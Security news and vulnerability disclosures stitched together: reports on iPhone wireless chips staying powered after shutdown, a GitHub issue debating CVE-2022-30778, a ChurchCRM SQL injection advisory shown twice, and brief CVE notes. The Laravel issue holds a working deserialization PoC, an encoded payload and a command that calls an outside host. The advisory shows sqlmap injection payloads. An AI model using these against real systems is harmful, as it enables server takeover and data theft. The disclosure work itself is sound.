Wireless features Bluetooth, NFC and UWB stay on even when the device is powered down, which could allow attackers to execute pre-loaded malware.

Wireless features Bluetooth, NFC and UWB stay on even when the device is powered down, which could allow attackers to execute pre-loaded malware.

Attackers can target iPhones even when they are turned off due to how Apple implements standalone wireless features Bluetooth, Near Field Communication (NFC ) and Ultra-wideband ( UWB) technologies in the device, researchers have found.

These features—which have access to the iPhone’s Secure Element (SE), which stores sensitive info–stay on even when modern iPhones are powered down, a team of researchers from Germany’s Technical University of Darmstadt discovered.

This makes it possible, for example, “to load malware onto a Bluetooth chip that is executed while the iPhone is off,” they wrote in a research paper titled “Evil Never Sleeps: When Wireless Malware Stays On After Turning Off iPhone.”

By compromising these wireless features, attackers can then go on to access secure info such as a user’s credit card data, banking details or even digital car keys on the device, researchers Jiska Classen, Alexander Heinrich, Robert Reith and Matthias Hollick of the university’s Secure Mobile Networking Lab disclosed in the paper.

Though the risk is real, exploiting the scenario is not so straightforward for would-be attackers, researchers acknowledged. Threat actors would still need to load the malware when the iPhone is on for later execution when it’s off, they said. This would require system-level access or remote code execution (RCE), the latter of which they could gain by using known flaws, such as BrakTooth, researchers said.

****Root of the Issue****

The root cause of the issue is the current implementation of low power mode (LPM) for wireless chips on iPhones, researchers detailed in the paper. The team differentiated between the LPM that these chips run on versus the power-saving app that iPhone users can enable on their phones to save battery life.

The LPM at issue is “either activated when the user switches off their phone or when iOS shuts down automatically due to low battery,” they wrote.

While the current LPM implementation on iPhones increases “the user’s security, safety, and convenience in most situations,” it also “adds new threats,” researchers said.

LPM support is based on the iPhone’s hardware, so it can’t be removed with system updates and thus has “a long-lasting effect on the overall iOS security model,” they said.

“The Bluetooth and UWB chips are hardwired to the \[SE\] in the NFC chip, storing secrets that should be available in LPM,” researchers explained. “Since LPM support is implemented in hardware, it cannot be removed by changing software components. As a result, on modern iPhones, wireless chips can no longer be trusted to be turned off after shutdown. This poses a new threat model.”

****Sample Threat Scenario****

Researchers analyzed the security of LPM features in a layered approach, observing the impact of the feature on application-, firmware- and hardware-level security.

For example, a potential threat scenario that they outlined on the iPhone’s firmware assumes that an attacker either has system-level access or can gain remote code execution (RCE) using a known Bluetooth vulnerability, such as the aforementioned Braktooth flaw.

In this attack, a threat actor with system-level access could modify firmware of any component that supports LPM, researchers said. This way, they maintain control, albeit limited, of the iPhone even when the user powers it off, researchers said.

“This might be interesting for persistent exploits used against high-value targets, such as journalists,” they wrote.

In the case of leveraging an RCE flaw, actors have a smaller attack surface but could still access data via NFC Express Mode, Bluetooth and UWB DCK 3.0, researchers note. However, “Apple already minimizes the attack surface by only enabling these features on demand,” they wrote.

Even if all firmware would be protected against manipulation, an attacker with system-level access could still send custom commands to chips that “allow a very fine-grained configuration, including advertisement rotation intervals and contents,” researchers noted.

This could allow an attacker to create settings that would allow them to locate a user’s device even more accurately than the legitimate user in the Find My application, for example.

****Apple’s Response and Potential Mitigation****

Before publishing the paper, researchers reported their research to Apple, which didn’t provide feedback on the issues raised by their findings, they said.

A potential solution to the scenario would be for Apple to add “a hardware-based switch to disconnect the battery” so these wireless elements wouldn’t have power while an iPhone is powered down, researchers said.

“This would improve the situation for privacy-concerned users and surveillance targets like journalists,” they noted.

iPhones Vulnerable to Attack Even When Turned Off

By Deeba Ahmed
The iOS Find My feature has a safety loophole that can lead to infecting the iPhone even if…
This is a post from HackRead.com Read the original post: Attackers can Install Malware on iPhone When it is Powered Off – Research

The iOS Find My feature has a safety loophole that can lead to infecting the iPhone even if the phone is off.

Academic researchers from the Secure Mobile Networking Lab (SEEMOO) at the Technical University of Darmstadt have identified a unique way of infecting an iPhone by loading malware while the phone is off.

Researchers will present their findings at the ACM Conference on Security and Privacy in Wireless Mobile Networks/ WiseSec 2022.

**How does the Attack work?**

The attack occurs after tampering with the iOS firmware and loading the malicious software onto a wireless Bluetooth chip with Near-field Communication and Ultra-Wideband. The attacker needs to execute the chip to infect the phone when it is off. The chip continues to operate when the system is off, and the Low Power Mode (LPM) is activated.

While the three wireless chips can facilitate Find My and Express Card transaction features, these can directly access the secure element. Basically, the ultra-wideband (UWB) (supported by iPhone 11, 12, and 13) and the Bluetooth chips are hardwired to the NFC chip’s Secure Element and can easily access confidential data.

“Since LPM support is implemented in hardware, it cannot be removed by changing software components. As a result, on modern iPhones, wireless chips can no longer be trusted to be turned off after shutdown,” researchers wrote in the paper titled “Evil Never Sleeps: When Wireless Malware Stays On After Turning Off iPhones.”

Researchers regarded the LPM feature as Opaque and highlighted that it sometimes fails to initialize Find My ads when the phone is off. Moreover, the Bluetooth firmware is not encrypted or signed.

An attacker can exploit this flaw to execute the malware on an iPhone Bluetooth chip. However, the adversary must possess privileged access. Furthermore, the attacker must communicate to the firmware via the OS, modify its image or obtain code execution on an LPM-activated chip by exploiting another flaw such as BrakTooth to exploit the loophole successfully.

**What is LPM?**

This feature was introduced in 2021 with iOS 15. It helps the user track lost devices using the Find My network and stays available even when the phone is out of battery power or is off. Before the phone shuts down, a message states the device will remain findable despite being off, and the Find My feature will locate it in case it is lost or stolen. The phone will be accessible when powered off or is in power reserve mode.

**More iPhone Tech & Hack on Hackread.com**

1.  A bug lets you crash anyone’s iPhone with a text message
2.  SolarWinds hackers exploited iOS 0-day to compromise iPhones
3.  Apple’s neuralMatch tool will scan iPhones for child abuse content
4.  iPhones of 9 State Dept officials hijacked by NSO Pegasus spyware
5.  NSO zero-click iMessage exploit hacks iPhone without the need to click links

Attackers can Install Malware on iPhone When it is Powered Off – Research

A first-of-its-kind security analysis of iOS Find My function has demonstrated a novel attack surface that makes it possible to tamper with the firmware and load malware onto a Bluetooth chip that's executed while an iPhone is "off."
The mechanism takes advantage of the fact that wireless chips related to Bluetooth, Near-field communication (NFC), and ultra-wideband (UWB) continue to operate

A first-of-its-kind security analysis of iOS Find My function has demonstrated a novel attack surface that makes it possible to tamper with the firmware and load malware onto a Bluetooth chip that's executed while an iPhone is "off."

The mechanism takes advantage of the fact that wireless chips related to Bluetooth, Near-field communication (NFC), and ultra-wideband (UWB) continue to operate while iOS is shut down when entering a "power reserve" Low Power Mode (LPM).

While this is done so as to enable features like Find My and facilitate Express Card transactions, all the three wireless chips have direct access to the secure element, academics from the Secure Mobile Networking Lab (SEEMOO) at the Technical University of Darmstadt said in a paper.

"The Bluetooth and UWB chips are hardwired to the Secure Element (SE) in the NFC chip, storing secrets that should be available in LPM," the researchers said.

"Since LPM support is implemented in hardware, it cannot be removed by changing software components. As a result, on modern iPhones, wireless chips can no longer be trusted to be turned off after shutdown. This poses a new threat model."

The findings are set to be presented at the ACM Conference on Security and Privacy in Wireless and Mobile Networks (WiSec 2022) this week.

The LPM features, newly introduced last year with iOS 15, make it possible to track lost devices using the Find My network. Current devices with Ultra-wideband support include iPhone 11, iPhone 12, and iPhone 13.

A message displayed when turning off iPhones reads thus: "iPhone remains findable after power off. Find My helps you locate this iPhone when it is lost or stolen, even when it is in power reserve mode or when powered off."

Calling the current LPM implementation "opaque," the researchers not only sometimes observed failures when initializing Find My advertisements during power off, effectively contradicting the aforementioned message, they also found that the Bluetooth firmware is neither signed nor encrypted.

By taking advantage of this loophole, an adversary with privileged access can create malware that's capable of being executed on an iPhone Bluetooth chip even when it's powered off.

However, for such a firmware compromise to happen, the attacker must be able to communicate to the firmware via the operating system, modify the firmware image, or gain code execution on an LPM-enabled chip over-the-air by exploiting flaws such as BrakTooth.

Put differently, the idea is to alter the LPM application thread to embed malware, such as those that could alert the malicious actor of a victim's Find My Bluetooth broadcasts, enabling the threat actor to keep remote tabs on the target.

"Instead of changing existing functionality, they could also add completely new features," SEEMOO researchers pointed out, adding they responsibly disclosed all the issues to Apple, but that the tech giant "had no feedback."

With LPM-related features taking a more stealthier approach to carrying out its intended use cases, SEEMOO called on Apple to include a hardware-based switch to disconnect the battery so as to alleviate any surveillance concerns that could arise out of firmware-level attacks.

"Since LPM support is based on the iPhone's hardware, it cannot be removed with system updates," the researchers said. "Thus, it has a long-lasting effect on the overall iOS security model."

"Design of LPM features seems to be mostly driven by functionality, without considering threats outside of the intended applications. Find My after power off turns shutdown iPhones into tracking devices by design, and the implementation within the Bluetooth firmware is not secured against manipulation."

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Researchers Find Way to Run Malware on iPhone Even When It's OFF

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in Illuminate\Broadcasting\PendingBroadcast.php and dispatch($command) in Illuminate\Bus\QueueingDispatcher.php.

> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30778

**Build a route to test:**

routes/web.php ：

<?php

use Illuminate\\Support\\Facades\\Route;

/\*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
\*/

Route::get('/', function (\\Illuminate\\Http\\Request $request) {
//    return view('welcome');
    $ser = base64\_decode($request\->input("ser"));
    unserialize($ser);
    return "ok";
});

**poc**

<?php
namespace Illuminate\\Contracts\\Queue{
    interface ShouldQueue
    {
        //
    }
}

namespace Illuminate\\Bus{
    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = \[\];
        protected $handlers = \[\];
        protected $queueResolver;
        function \_\_construct()
        {
            $this\->queueResolver = "system";

        }
    }
}

namespace Illuminate\\Broadcasting{

    use Illuminate\\Contracts\\Queue\\ShouldQueue;

    class BroadcastEvent implements ShouldQueue {
        function \_\_construct()
        {

        }
    }
    class PendingBroadcast{
        protected $events;
        protected $event;
        function \_\_construct()
        {
            $this\->event = new BroadcastEvent();
            $this\->event\->connection = "ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net";
            $this\->events = new \\Illuminate\\Bus\\Dispatcher();
        }
    }
}
namespace{
    $a = new \\Illuminate\\Broadcasting\\PendingBroadcast();
    echo base64\_encode(serialize($a));
}

result :

    Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo3MDoicGluZyAtbmMgMSBsYXJhdmVsLm1lNDBwOXZ4d2piczdtYXk4czZwdWlwZ2U3a3g4bS5idXJwY29sbGFib3JhdG9yLm5ldCI7fX0=
    

**attack**

http://127.0.0.1:1080/?ser=Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo3MDoicGluZyAtbmMgMSBsYXJhdmVsLm1lNDBwOXZ4d2piczdtYXk4czZwdWlwZ2U3a3g4bS5idXJwY29sbGFib3JhdG9yLm5ldCI7fX0=

So, why was a CVE issued for this?

I don't see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?

> I don't see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?

@caendesilva If successfully exploited, an attacker would be able to perform remote code execution. In the example above this is demonstrated by running the ping command, which is a harmless way to confirm.

A malicious attacker could execute any command. This could be used to spawn a reverse shell, read and write files, access .env credentials, pivot to the database, etc.

Successful exploitation would require the use of unserialize within your laravel application and passing untrusted user input to that. While not recommended, it's also not unheard of.

> > I don't see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?
> 
> @caendesilva If successfully exploited, an attacker would be able to perform remote code execution. In the example above this is demonstrated by running the ping command, which is a harmless way to confirm.
> 
> A malicious attacker could execute any command. This could be used to spawn a reverse shell, read and write files, access .env credentials, pivot to the database, etc.
> 
> Successful exploitation would require the use of unserialize within your laravel application and passing untrusted user input to that. While not recommended, it's also not unheard of.

Thank you so much for the explanation. What confused me is that the ping command is entered from within your backend code. Are you claiming that the following string ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net can be entered and then executed by an attacker through the example route?

Are you aware of any instances in "official" (as in code maintained by the Laravel org) codebases where this is used? From your reply I know that my codebase does not contain this vulnerability, but if it is present in say Laravel Jetstream, that's something that should be noted.

The main problem I see is that a POP chain is NEVER a vulnerability by itself. The vulnerability would be to call unserialiase() to deserialise unvalidated input. But this instance doesn't appear in the code, hence it should not even be considered valid for a CVE.

It's really a nice finding tho. Just doesn't make sense to have it as a CVE, because... it's not a vulnerability.

> Are you claiming that the following string ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net can be entered and then executed by an attacker through the example route?

That is correct, by using the PoC to generate a base64 payload we can pass that to the example route. I have not personally reviewed all the laravel maintained codebases, but anywhere unserialize accepts user controlled input would be vulnerable.

> The main problem I see is that a POP chain is NEVER a vulnerability by itself. The vulnerability would be to call unserialiase() to deserialise unvalidated input. But this instance doesn't appear in the code, hence it should not even be considered valid for a CVE.
> 
> It's really a nice finding tho. Just doesn't make sense to have it as a CVE, because... it's not a vulnerability.

So having code execution on unserialize is a feature ?

> So having code execution on unserialize is a feature ?

The official PHP docs warn of this.  

This also reflects Taylor Otwell's response when I asked if he was aware of this CVE.

> On Tuesday, May 17th, 2022 at 12:06, taylorotwell taylor@laravel.com wrote:
> 
> Passing unsanitized user input to unserialize is never safe in PHP.

Of note: Snyk points to this being the vulnerable code in question.

> Affected versions of this package are vulnerable to Deserialization of Untrusted Data via an unserialize pop chain in \_\_destruct and dispatch($command).

@pasterp If you deserialise untrusted data, it's your fault for doing that. If there is whatever POP chain in your code, you may allow an attacker to execute arbitrary code, but the POP chain just makes the vulnerability worse, it DOES NOT constitute the vulnerability.

To make an example, if you have a stack buffer overflow, you can exploit it with a ROP chain, but the vulnerability is not the ROP chain, it is the bloody stack buffer overflow.  
Saying that the POP chain is the vulnerability is like saying that the ROP chain is the vulnerability, and that's false.

Calling unserialise on untrusted data is a vulnerability.

Copy link

** **pqlx** commented May 17, 2022 •**

I think there should be some serious thought about revoking this CVE.

As pointed out, there is no security boundary being breached here. Passing arbitrary data to unserialize has always been classified as "unsafe". That the Laravel core framework just happens to have a few classes that you could readily use in such a scenario does not constitute a vulnerability on their part.

Besides, there's no real fix for people using unserialize inappropriately anyway. As @klezVirus points out, it's analogous to something like ROP gadgets. (Framework) developers can keep patching their classes to not do stuff in e.g. __construct or __destruct, but besides making code more complex (and maybe eliminating low-hanging fruit), there are always going to be more complex chains that give the attacker more control. It is a fundamental issue with unserialize.

> So having code execution on unserialize is a feature ?

No it's not. But it's not necessarily a vulnerability either. If someone were to pass unsafe user input into an exec() call, that would be a vulnerability in that persons code, but it's not a vulnerability within PHP.

If there are any usages in the Laravel core framework that actually has code akin to this, then yeah it should be a CVE. But since it does not seem to be so, this is not any more of a vulnerability in Laravel as the following is:

// Obviously DON'T actually do this in a real app
Route::get('/', function (\\Illuminate\\Http\\Request $request) {
    echo shell\_exec($request\->input('name'));
});

While my example above for sure is a vulnerability in my code (if it was actually deployed), it's not a vulnerability within Laravel, or even PHP.

@caendesilva I'd argue comparing exec to unserialize is an apples to oranges comparison and not really the best analogy for what is happening here.

While I agree it's not best practice to pass untrusted user input to unserialize, doing that alone does not automatically create a path for exploitation.

So just to clarify as we also got the snyk alert. The vulnerability here is that there exists a class in Laravel which will do code execution when called, but that the only route to call it is via unserialize which is not passed untrusted user input in laravel itself. So it isn't reachable unless a user (developer) calls unserialize() on untrusted input which is bad idea anyway (according to the docs and common sense).

I'm here too because of snyk. Is there any solution to this?

> I'm here too because of snyk. Is there any solution to this?

@oreillysean Check your code for any areas that might use unserialize and accept user input. If none are found you can mark it as ignored in Synk since it's not applicable to you.

this is for Laravel 9.1.8 only ?  
if yes, Snyk raised a false alert for my 8.83.12 Laravel ?

> @GlitchWitch yes I agree with you. However would this not fix the issue as stated in the CVE oreillysean/framework@57c5f57

I haven't had a chance to test, but perhaps it would be worth submitting your proposed fix as a PR for the Laravel team to review.

CVE-2022-30778: Laravel 9.1.8 POP chain · Issue #1 · 1nhann/vulns

A SQL injection vulnerability exists in ChurchCRM version 2.0.0 to 4.4.5 that allows an authenticated attacker to issue an arbitrary SQL command to the database through the unsanitized EN_tyid, theID and EID fields used when an Edit action on an existing record is being performed.

*   Sat, May 14, 2022
*   4-minute read

**Summary**

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    

    Product:                   Church Web CRM
    Manufacturer:              ChurchCRM
    Affected Version(s):       ChurchCRM 2.0.0 <= 4.4.5 
    Tested Version(s):         4.4.5
    Vulnerability Type:        SQL Injection (CWE-89) 
    Risk Level:                High
    Solution Status:           Unfixed
    Manufacturer Notification: 2021-09-16
    Solution Date:             n/a
    Public Disclosure:         2022-05-14
    CVE Reference:             CVE-2021-41965
    Author of Advisory:        Alexander Bilz
    

**Overview**

The manufacturer describes the product as follows (see 1):

> “An OpenSource CRM System Built for Churches. Your Church can benefit from giving your staff and volunteers the tools they need to make every interaction more valuable.”

The software comes with an abundance of features relevant to churches and managing a congregation. Among others it allows to conduct:

*   Conduct Fundraisers
*   Manage Church Members
*   Publish Events
*   Manage Sunday Schools

The source code can be found on ChurchCRM’s GitHub account 2.

ChurchCRM is vulnerable to SQL injection attacks due to a lack of input validation and no additional protection mechanisms.

**Vulnerability Details**

Church CRM allows its users to schedule church events, such as church services, Sunday school or summer camps. Once an event has been created it can also be edited and deleted again through the events page.

Hereby, it was detected that the parameter EID, which is sent along when editing an existing entry, is susceptible to an SQL injection attack. On edit, data is posted to the EventEditor.php where it is executed on the database.

Similarly, the EN_tyid parameter of the EditEventTypes.php and theID of the EventNames.php endpoint can be abused for injecting arbitrary SQL queries.

Different types of SQL injection techniques can be applied, including:

*   Boolean-based blind
*   Time-based blind

The vulnerable functionality is only accessible when authenticated.

**Proof of Concept (PoC)**

As a proof of concept, the EN\_tyid parameter, which is sent when an event is edited, will be abused to query the database management system using sqlmap 3.

Let’s start with the HTTP request I had captured in Burp Suite.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    

    POST /churchcrm/EditEventTypes.php HTTP/1.1  
    Host: <IP>  
    Content-Length: 21  
    Cache-Control: max-age=0  
    Upgrade-Insecure-Requests: 1  
    Origin: http://<IP> 
    Content-Type: application/x-www-form-urlencoded  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
    Referer: http://<IP>/churchcrm/EventNames.php  
    Accept-Encoding: gzip, deflate  
    Accept-Language: en-US,en;q=0.9  
    Cookie: <Cookie Value>  
    Connection: close  
    EN_tyid=4&Action=Edit
    

This request could then be passed to sqlmap for injecting the EN_tyid parameter.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    

    ┌──(kali㉿kali)-[~/ChurchCRM] 
    └─$ sqlmap -r churchcrm.txt -p EN_tyid -dbs 
            ___ 
           __H__                                                                  
     ___ ___[,]_____ ___ ___  {1.5.5#stable}                                      
    |_ -| . [.]     | .'| . |                                                     
    |___|_  [)]_|_|_|__,|  _|                                                     
          |_|V...       |_|   http://sqlmap.org                                   
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 
    [*] starting @ 10:42:27 /2021-09-16/ 
    [10:42:27] [INFO] parsing HTTP request from 'churchcrm.txt' 
    [10:42:28] [INFO] resuming back-end DBMS 'mysql'  
    [10:42:28] [INFO] testing connection to the target URL 
    sqlmap resumed the following injection point(s) from stored session: 
    --- 
    Parameter: EN_tyid (POST) 
        Type: time-based blind 
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) 
        Payload: EN_tyid=4' AND (SELECT 8001 FROM (SELECT(SLEEP(5)))vpfX) AND 'KFAy'='KFAy&Action=Edit 
        Type: UNION query 
        Title: Generic UNION query (NULL) - 9 columns 
        Payload: EN_tyid=-8227' UNION ALL SELECT NULL,CONCAT(0x7162766a71,0x58587254614b525a474f487269586c6d55424859667574764267587a484c79595a78496f66665959,0x7178706271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&Action=Edit 
    --- 
    [10:42:29] [INFO] the back-end DBMS is MySQL 
    web application technology: Apache 2.4.48, PHP 7.3.30 
    back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) 
    [10:42:29] [INFO] fetching database names 
    [10:42:31] [INFO] retrieved: 'information_schema' 
    [10:42:32] [INFO] retrieved: 'test' 
    [10:42:33] [INFO] retrieved: 'churchcrm' 
    available databases [3]:                                                     
    [*] churchcrm 
    [*] information_schema 
    [*] test 
    [10:42:33] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.11.170'                                           
    [*] ending @ 10:42:33 /2021-09-16/
    

**Disclosure Timeline**

I had reached out immediately to the vendor via email on 2021-09-16, who never replied to my request. Following a responsible disclosure approach, I decided to file for a CVE and ultimately disclose the vulnerability publicly.

The overall timeline for disclosing this vulnerability was as follows:

*   2021-09-16: Vulnerability discovered
*   2021-09-16: Vulnerability reported to the manufacturer
*   2022-05-02: CVE has been reserved
*   2022-05-14: Public disclosure of the vulnerability

**Credits**

This security vulnerability was found by Alexander Bilz.

*   E-Mail: mail\[at\]alexbilz.com
*   Public Key: https://www.alexbilz.com/ABilz.asc
*   Key ID: 0X474CECFD3DBC6880
*   Key Fingerprint: 6C0E A8D0 C428 ED1D 8C2E C4A0 474C ECFD 3DBC 6880

**Disclaimer**

The information provided in this security advisory is provided “as is” and without warranty of any kind. Details of this security advisory may be updated to provide as accurate information as possible.

**References**

1.  Product website for ChurchCRM http://churchcrm.io/ ↩︎
    
2.  ChurchCRM CRM Sourcecode https://github.com/ChurchCRM/CRM ↩︎
    
3.  Link to sqlmap https://sqlmap.org/ ↩︎

CVE-2021-41965: SQL Injection Vulnerability in ChurchCRM (CVE-2021-41965)

*   Sat, May 14, 2022
*   4-minute read

**Summary**

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    

    Product:                   Church Web CRM
    Manufacturer:              ChurchCRM
    Affected Version(s):       ChurchCRM 2.0.0 <= 4.4.5 
    Tested Version(s):         4.4.5
    Vulnerability Type:        SQL Injection (CWE-89) 
    Risk Level:                High
    Solution Status:           Unfixed
    Manufacturer Notification: 2021-09-16
    Solution Date:             n/a
    Public Disclosure:         2022-05-14
    CVE Reference:             CVE-2021-41965
    Author of Advisory:        Alexander Bilz
    

**Overview**

The manufacturer describes the product as follows (see 1):

> “An OpenSource CRM System Built for Churches. Your Church can benefit from giving your staff and volunteers the tools they need to make every interaction more valuable.”

The software comes with an abundance of features relevant to churches and managing a congregation. Among others it allows to conduct:

*   Conduct Fundraisers
*   Manage Church Members
*   Publish Events
*   Manage Sunday Schools

The source code can be found on ChurchCRM’s GitHub account 2.

ChurchCRM is vulnerable to SQL injection attacks due to a lack of input validation and no additional protection mechanisms.

**Vulnerability Details**

Church CRM allows its users to schedule church events, such as church services, Sunday school or summer camps. Once an event has been created it can also be edited and deleted again through the events page.

Hereby, it was detected that the parameter EID, which is sent along when editing an existing entry, is susceptible to an SQL injection attack. On edit, data is posted to the EventEditor.php where it is executed on the database.

Similarly, the EN_tyid parameter of the EditEventTypes.php and theID of the EventNames.php endpoint can be abused for injecting arbitrary SQL queries.

Different types of SQL injection techniques can be applied, including:

*   Boolean-based blind
*   Time-based blind

The vulnerable functionality is only accessible when authenticated.

**Proof of Concept (PoC)**

As a proof of concept, the EN\_tyid parameter, which is sent when an event is edited, will be abused to query the database management system using sqlmap 3.

Let’s start with the HTTP request I had captured in Burp Suite.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    

    POST /churchcrm/EditEventTypes.php HTTP/1.1  
    Host: <IP>  
    Content-Length: 21  
    Cache-Control: max-age=0  
    Upgrade-Insecure-Requests: 1  
    Origin: http://<IP> 
    Content-Type: application/x-www-form-urlencoded  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
    Referer: http://<IP>/churchcrm/EventNames.php  
    Accept-Encoding: gzip, deflate  
    Accept-Language: en-US,en;q=0.9  
    Cookie: <Cookie Value>  
    Connection: close  
    EN_tyid=4&Action=Edit
    

This request could then be passed to sqlmap for injecting the EN_tyid parameter.

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    

    ┌──(kali㉿kali)-[~/ChurchCRM] 
    └─$ sqlmap -r churchcrm.txt -p EN_tyid -dbs 
            ___ 
           __H__                                                                  
     ___ ___[,]_____ ___ ___  {1.5.5#stable}                                      
    |_ -| . [.]     | .'| . |                                                     
    |___|_  [)]_|_|_|__,|  _|                                                     
          |_|V...       |_|   http://sqlmap.org                                   
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 
    [*] starting @ 10:42:27 /2021-09-16/ 
    [10:42:27] [INFO] parsing HTTP request from 'churchcrm.txt' 
    [10:42:28] [INFO] resuming back-end DBMS 'mysql'  
    [10:42:28] [INFO] testing connection to the target URL 
    sqlmap resumed the following injection point(s) from stored session: 
    --- 
    Parameter: EN_tyid (POST) 
        Type: time-based blind 
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) 
        Payload: EN_tyid=4' AND (SELECT 8001 FROM (SELECT(SLEEP(5)))vpfX) AND 'KFAy'='KFAy&Action=Edit 
        Type: UNION query 
        Title: Generic UNION query (NULL) - 9 columns 
        Payload: EN_tyid=-8227' UNION ALL SELECT NULL,CONCAT(0x7162766a71,0x58587254614b525a474f487269586c6d55424859667574764267587a484c79595a78496f66665959,0x7178706271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&Action=Edit 
    --- 
    [10:42:29] [INFO] the back-end DBMS is MySQL 
    web application technology: Apache 2.4.48, PHP 7.3.30 
    back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) 
    [10:42:29] [INFO] fetching database names 
    [10:42:31] [INFO] retrieved: 'information_schema' 
    [10:42:32] [INFO] retrieved: 'test' 
    [10:42:33] [INFO] retrieved: 'churchcrm' 
    available databases [3]:                                                     
    [*] churchcrm 
    [*] information_schema 
    [*] test 
    [10:42:33] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.11.170'                                           
    [*] ending @ 10:42:33 /2021-09-16/
    

**Disclosure Timeline**

I had reached out immediately to the vendor via email on 2021-09-16, who never replied to my request. Following a responsible disclosure approach, I decided to file for a CVE and ultimately disclose the vulnerability publicly.

The overall timeline for disclosing this vulnerability was as follows:

*   2021-09-16: Vulnerability discovered
*   2021-09-16: Vulnerability reported to the manufacturer
*   2022-05-02: CVE has been reserved
*   2022-05-14: Public disclosure of the vulnerability

**Credits**

This security vulnerability was found by Alexander Bilz.

*   E-Mail: mail\[at\]alexbilz.com
*   Public Key: https://www.alexbilz.com/ABilz.asc
*   Key ID: 0X474CECFD3DBC6880
*   Key Fingerprint: 6C0E A8D0 C428 ED1D 8C2E C4A0 474C ECFD 3DBC 6880

**Disclaimer**

The information provided in this security advisory is provided “as is” and without warranty of any kind. Details of this security advisory may be updated to provide as accurate information as possible.

**Copyright**

Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en

**References**

1.  Product website for ChurchCRM http://churchcrm.io/ ↩︎
    
2.  ChurchCRM CRM Sourcecode https://github.com/ChurchCRM/CRM ↩︎
    
3.  Link to sqlmap https://sqlmap.org/ ↩︎

Webmin through 1.991, when the Authentic theme is used, allows remote code execution when a user has been manually created (i.e., not created in Virtualmin or Cloudmin). This occurs because settings-editor_write.cgi does not properly restrict the file parameter.

CVE-2022-30708: Webmin

Air Cargo Management System v1.0 is vulnerable to file deletion via /acms/classes/Master.php?f=delete_img.

**Air Cargo Management System v1.0 by oretnom23 has Delete any file**

